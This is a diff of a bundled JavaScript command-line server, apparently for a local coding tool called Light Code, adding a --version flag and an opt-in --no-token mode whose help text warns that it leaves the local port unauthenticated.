const identity = options.identity ?? new SingleUserIdentity(options.handoffSeconds);
|
|
66360
|
+
const identity = options.identity ?? (options.noToken === true ? new OpenIdentity() : new SingleUserIdentity(options.handoffSeconds));
|
|
66116
66361
|
const roles = options.roles ?? SINGLE_USER_POLICY;
|
|
66117
66362
|
const sharedStore = options.sharedConfig;
|
|
66118
66363
|
const sharedSecretStore = new FileSecretStore(path32.join(options.dataDir, "shared-secrets.json"));
|
|
@@ -66223,6 +66468,10 @@ async function startServer(options) {
|
|
|
66223
66468
|
return;
|
|
66224
66469
|
}
|
|
66225
66470
|
if (url2.pathname === "/api/session" && request.method === "POST") {
|
|
66471
|
+
if (identity instanceof OpenIdentity) {
|
|
66472
|
+
respondJson(response, 200, { token: "" });
|
|
66473
|
+
return;
|
|
66474
|
+
}
|
|
66226
66475
|
if (!(identity instanceof SingleUserIdentity)) {
|
|
66227
66476
|
reject(response, { status: 404, reason: "Handoff is only used in single-user mode." });
|
|
66228
66477
|
return;
|
|
@@ -66471,6 +66720,7 @@ function respondJson(response, status, body) {
|
|
|
66471
66720
|
}
|
|
66472
66721
|
|
|
66473
66722
|
// src/cli.ts
|
|
66723
|
+
var VERSION = true ? "0.39.0" : "unknown (not a packaged build)";
|
|
66474
66724
|
var compat = installNodeCompat();
|
|
66475
66725
|
async function main() {
|
|
66476
66726
|
const args = process.argv.slice(2);
|
|
@@ -66492,11 +66742,16 @@ async function main() {
|
|
|
66492
66742
|
openBrowser(pathToFileURL(file2).href);
|
|
66493
66743
|
return;
|
|
66494
66744
|
}
|
|
66745
|
+
if (args.includes("--version") || args.includes("-v")) {
|
|
66746
|
+
process.stdout.write(`${VERSION}
|
|
66747
|
+
`);
|
|
66748
|
+
return;
|
|
66749
|
+
}
|
|
66495
66750
|
const unknown2 = args.filter((arg) => arg.startsWith("--") && !KNOWN_FLAGS.has(arg));
|
|
66496
66751
|
if (unknown2.length > 0) {
|
|
66497
66752
|
process.stderr.write(
|
|
66498
66753
|
`light-code: unknown option${unknown2.length === 1 ? "" : "s"} ${unknown2.join(", ")}
|
|
66499
|
-
If you expected this to work, you may be on an older cached copy
|
|
66754
|
+
If you expected this to work, you may be on an older cached copy. This one is ${VERSION}. Try:
|
|
66500
66755
|
npx @chosengeneration/light-code@latest --help
|
|
66501
66756
|
`
|
|
66502
66757
|
);
|
|
@@ -66521,6 +66776,7 @@ Did you mean: --admin-id ${strayAdminValue.join(" --admin-id ")}
|
|
|
66521
66776
|
const workspaceRoot = path33.resolve(valueOf(args, "--workspace") ?? process.cwd());
|
|
66522
66777
|
const dataDir = valueOf(args, "--data-dir") ?? envPaths("light-code", { suffix: "" }).data;
|
|
66523
66778
|
const port = Number.parseInt(valueOf(args, "--port") ?? "0", 10);
|
|
66779
|
+
const noToken = args.includes("--no-token");
|
|
66524
66780
|
const handoffSeconds = Math.min(
|
|
66525
66781
|
600,
|
|
66526
66782
|
Math.max(1, Number.parseInt(valueOf(args, "--handoff-seconds") ?? "10", 10) || 10)
|
|
@@ -66559,6 +66815,7 @@ Did you mean: --admin-id ${strayAdminValue.join(" --admin-id ")}
|
|
|
66559
66815
|
clientDir: path33.join(here, "client"),
|
|
66560
66816
|
ripgrepPath: resolveRipgrep(),
|
|
66561
66817
|
handoffSeconds,
|
|
66818
|
+
noToken,
|
|
66562
66819
|
/*
|
|
66563
66820
|
* A lapsed link is replaced rather than ending the session.
|
|
66564
66821
|
*
|
|
@@ -66589,12 +66846,20 @@ Did you mean: --admin-id ${strayAdminValue.join(" --admin-id ")}
|
|
|
66589
66846
|
const launchUrl = `${server.url}${adminMode ? "/admin" : ""}/#t=${server.launchToken ?? ""}`;
|
|
66590
66847
|
process.stdout.write(
|
|
66591
66848
|
`
|
|
66592
|
-
Light Code
|
|
66849
|
+
Light Code ${VERSION}
|
|
66593
66850
|
workspace ${workspaceRoot}
|
|
66594
66851
|
data ${dataDir}
|
|
66595
66852
|
listening ${server.url}
|
|
66596
66853
|
`
|
|
66597
66854
|
);
|
|
66855
|
+
if (noToken) {
|
|
66856
|
+
process.stdout.write(
|
|
66857
|
+
` auth none \u2014 --no-token. Any program on this machine can drive this
|
|
66858
|
+
server as you. Origin and Host are still checked, so a web page
|
|
66859
|
+
cannot. Stop it when you are done.
|
|
66860
|
+
`
|
|
66861
|
+
);
|
|
66862
|
+
}
|
|
66598
66863
|
if (compat.installed.length > 0) {
|
|
66599
66864
|
process.stdout.write(
|
|
66600
66865
|
` node ${compat.nodeVersion} \u2014 supplied ${String(compat.installed.length)} web global(s) Node 18 makes standard
|
|
@@ -66631,7 +66896,7 @@ ${launchUrl}
|
|
|
66631
66896
|
` + (handoffSeconds === 10 ? " Not long enough? Start with --handoff-seconds 120.\n If it does lapse, a fresh link is printed here \u2014 no need to restart.\n\n" : " If it does lapse, a fresh link is printed here \u2014 no need to restart.\n\n")
|
|
66632
66897
|
);
|
|
66633
66898
|
}
|
|
66634
|
-
if (!noOpen) openBrowser(launchUrl);
|
|
66899
|
+
if (!noOpen) openBrowser(noToken ? server.url : launchUrl);
|
|
66635
66900
|
const shutdown = () => {
|
|
66636
66901
|
process.stdout.write("\nStopping.\n");
|
|
66637
66902
|
void server.close().then(() => process.exit(0));
|
|
@@ -66642,11 +66907,14 @@ ${launchUrl}
|
|
|
66642
66907
|
var KNOWN_FLAGS = /* @__PURE__ */ new Set([
|
|
66643
66908
|
"--help",
|
|
66644
66909
|
"-h",
|
|
66910
|
+
"--version",
|
|
66911
|
+
"-v",
|
|
66645
66912
|
"--handoff-seconds",
|
|
66646
66913
|
"--workspace",
|
|
66647
66914
|
"--port",
|
|
66648
66915
|
"--data-dir",
|
|
66649
66916
|
"--no-open",
|
|
66917
|
+
"--no-token",
|
|
66650
66918
|
"--server",
|
|
66651
66919
|
"--admin",
|
|
66652
66920
|
"--admin-id",
|
|
@@ -66690,9 +66958,14 @@ function usage() {
|
|
|
66690
66958
|
Usage: light-code [options]
|
|
66691
66959
|
|
|
66692
66960
|
--workspace <dir> Folder to work in (default: current directory)
|
|
66961
|
+
--version, -v Print the version and exit
|
|
66693
66962
|
--port <n> Port to bind (default: an unused one)
|
|
66694
66963
|
--data-dir <dir> Where config, secrets and task history live
|
|
66695
66964
|
--no-open Print the URL instead of launching a browser
|
|
66965
|
+
--no-token Serve with no bearer token, so any request to the port is
|
|
66966
|
+
accepted. Origin and Host are still checked, so a page in
|
|
66967
|
+
another tab still cannot reach it \u2014 but any program running
|
|
66968
|
+
as you can. For a local machine you trust.
|
|
66696
66969
|
--handoff-seconds <n> How long the launch link stays valid (default 10, max 600).
|
|
66697
66970
|
Raise it when carrying the URL by hand. It rides in the URL
|
|
66698
66971
|
fragment, so a longer window is longer for anyone reading
|